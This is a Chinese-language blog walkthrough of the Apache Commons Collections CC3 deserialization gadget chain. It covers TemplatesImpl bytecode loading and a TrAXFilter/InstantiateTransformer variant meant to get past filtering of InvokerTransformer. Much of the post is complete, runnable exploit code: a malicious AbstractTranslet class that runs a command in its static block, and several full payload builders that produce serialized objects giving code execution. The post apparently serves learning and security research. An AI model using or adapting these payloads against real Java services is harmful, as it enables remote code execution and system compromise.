简介

刚复现完CC6,又来看CC3了。CC3与前面我们复现的CC1和CC6不同,我们之前更多的是通过构造语句使其走到一个任意方法执行,而CC3是用动态类加载。(顺便回顾一下动态类加载),CC1 CC6更偏向于"命令执行",而这边我们更偏向于"代码执行"

TemplatesImpl

TemplatesImpl.defineClass

TemplatesImpl中有一个defineClass,可以通过字节码新建一个类,我们看哪儿调用了他
有三个地方
image.png

TemplatesImpl.defineTransletClasses

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
                              AccessController.doPrivileged(new PrivilegedAction() {
                                  public Object run() {
                                      return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                                  }
                              });

try {
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];

    if (classCount > 1) {
        _auxClasses = new HashMap<>();
    }

    for (int i = 0; i < classCount; i++) {
        _class[i] = loader.defineClass(_bytecodes[i]);
        final Class superClass = _class[i].getSuperclass();

        // Check if this is the main class
        if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
            _transletIndex = i;
        }
        else {
            _auxClasses.put(_class[i].getName(), _class[i]);
        }
    }

    if (_transletIndex < 0) {
        ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}
catch (ClassFormatError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}
}

TemplatesImpl.getTransletInstance

为什么选择这个方法,因为他有newInstance().可以实例化对象,其他俩没啥用

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
    if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setServicesMechnism(_useServicesMechanism);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}
}

继续往前找。

TemplatesImpl.newTransformer

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

这链子我们要从newTransformer入手。
到这里我们就可以开始编写payload了。
(注:TemplatesImpl可序列化image.png

要编写payload就要看他的代码流程。
newTransformer的圈住的三个字段,不用管,我们只要调用getTransletInstance
image.png
跟进getTransletInstance,看看需要怎么构造。
image.png
_name肯定要有值。
然后_class制空,因为我们要进入defineTransletClasses()
_bytecodes肯定要有值对吧,不然就抛异常了。
_tfactory要调用方法,所以他肯定需要一个值。
他的构造方法都没有这些值,所以我们直接反射给权限然后改就完事了。
_bytecodes是一个二维数组,image.png
且他还有"特殊使命"
image.png
所以我们往里面传入一个恶意类的字节码。
我们就直接创建一个恶意类,然后编译成.class,然后去读它的字节码就完事了。
注意恶意代码放在静态代码块内

import java.io.IOException;

public class evil {
    static{
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

故写成这样

Field tbytecode=templates.getClass().getDeclaredField("_bytecodes");
tbytecode.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
byte[][] codes={code};
tbytecode.set(templates,codes);

接下来就是_tfactory
如果这玩意儿没值就直接空指针异常了。但是!这个变量是transient的。也就是说它是序列化的时候不会带进去的。那咋办捏。看看它的readObject(我未曾想过的道路)
在readObject中给他new了一个。
image.png
我们现在的payload。

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
       TemplatesImpl templates=new TemplatesImpl();
       Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        Field tfactory=tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();
    }
}

他执行会报错,我们去锁定一下报错点。
image.png
这里报空指针异常了。
我们需要走进if。不然就抛异常。

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}
else {
    _auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
    ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}

这里是检查我们传入的恶意类是否继承自ABSTRACT_TRANSLET定义的父类。
image.png
所以我们传入的恶意类需要去实现它。
我们的恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
    static{
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

再次编译一下。
就可以RCE.
现在我们只要执行templates.newTransformer();就可以执行恶意代码。
他返回的是一个Transformer。所以可以直接塞进ChainedTransformer
image.png
我们改一下代码。现在的payload

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        Field tfactory=tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        //        templates.newTransformer();
        Transformer transformer=new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null)
        });
        transformer.transform(1);
    }
}

然后我们要找一个transform的执行点,我们直接把CC1的后面部分粘过来。。
最后的payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        Field tfactory=tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        //        templates.newTransformer();
        Transformer transformer=new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null)
        });
        HashMap<Object,Object> hashmap=new HashMap<>();
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,transformer);
        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= cls.getDeclaredConstructor(Class.class,Map.class);//获取构造方法,一个class,一个map
        constructor.setAccessible(true);//修改权限,保证可访问
        InvocationHandler AnnotationInvocationHandlernew= (InvocationHandler) constructor.newInstance(Override.class,lazymap);//第一个参数
        Map mapPorxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},AnnotationInvocationHandlernew);//生成动态代理。
        Object o=constructor.newInstance(Override.class,mapPorxy);
        // serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
            return obj;
            }
            }

那如果InvokerTransformer.transform被过滤,还有没有办法。
我们知道调用getTransletInstance可以实现代码执行,那么还有什么其他地方也实现了它。
还有一个绝佳的TrAXFilter类。

public class TrAXFilter extends XMLFilterImpl {
    private Templates              _templates;
    private TransformerImpl        _transformer;
    private TransformerHandlerImpl _transformerHandler;
    private boolean _useServicesMechanism = true;

    public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

它的构造方法里传入一个templates,然后调用templates.newTransformer();
如果我们可以调用它的构造方法,那么也可以进行RCE。
但是它也无法序列化。
我们可以通过InstantiateTransformer来实例化这个类。

InstantiateTransformer

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}
public Object transform(Object input) {
    try {
    if (input instanceof Class == false) {
        throw new FunctorException(
            "InstantiateTransformer: Input object was not an instanceof Class, it was a "
            + (input == null ? "null object" : input.getClass().getName()));
    }
    Constructor con = ((Class) input).getConstructor(iParamTypes);
    return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
    throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
    throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
    throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
    throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

我们可以看到我们通过构造方法指定类和构造方法的参数,然后他在transform内就可以通过获取构造器,返回一个实例对象。
那么我们现在的payload就是

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC32 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        Field tfactory=tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

然后就是调用transform。
只有ConstantTransformer改成TrAXFilter.class 然后调用ConstantTransformer.transform。不然没地方可以传入TrAXFilter。
所以直接复制CC1.将ConstantTransformer中的值改成TrAXFilter.class,然后instantiateTransformer对象,这样的话就可以正确的调用instantiateTransformer.transform.

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC33 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        Field tfactory=tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        Transformer transformer=new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });
        HashMap<Object,Object> hashmap=new HashMap<>();
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,transformer);
        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= cls.getDeclaredConstructor(Class.class,Map.class);//获取构造方法,一个class,一个map
        constructor.setAccessible(true);//修改权限,保证可访问
        InvocationHandler AnnotationInvocationHandlernew= (InvocationHandler) constructor.newInstance(Override.class,lazymap);//第一个参数
        Map mapPorxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},AnnotationInvocationHandlernew);//生成动态代理。
        Object o=constructor.newInstance(Override.class,mapPorxy);
        //serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

关于_tfactory,其实可以不给他赋值。因为在readObject的时候会给它一个值。
image.png
还是可以RCE。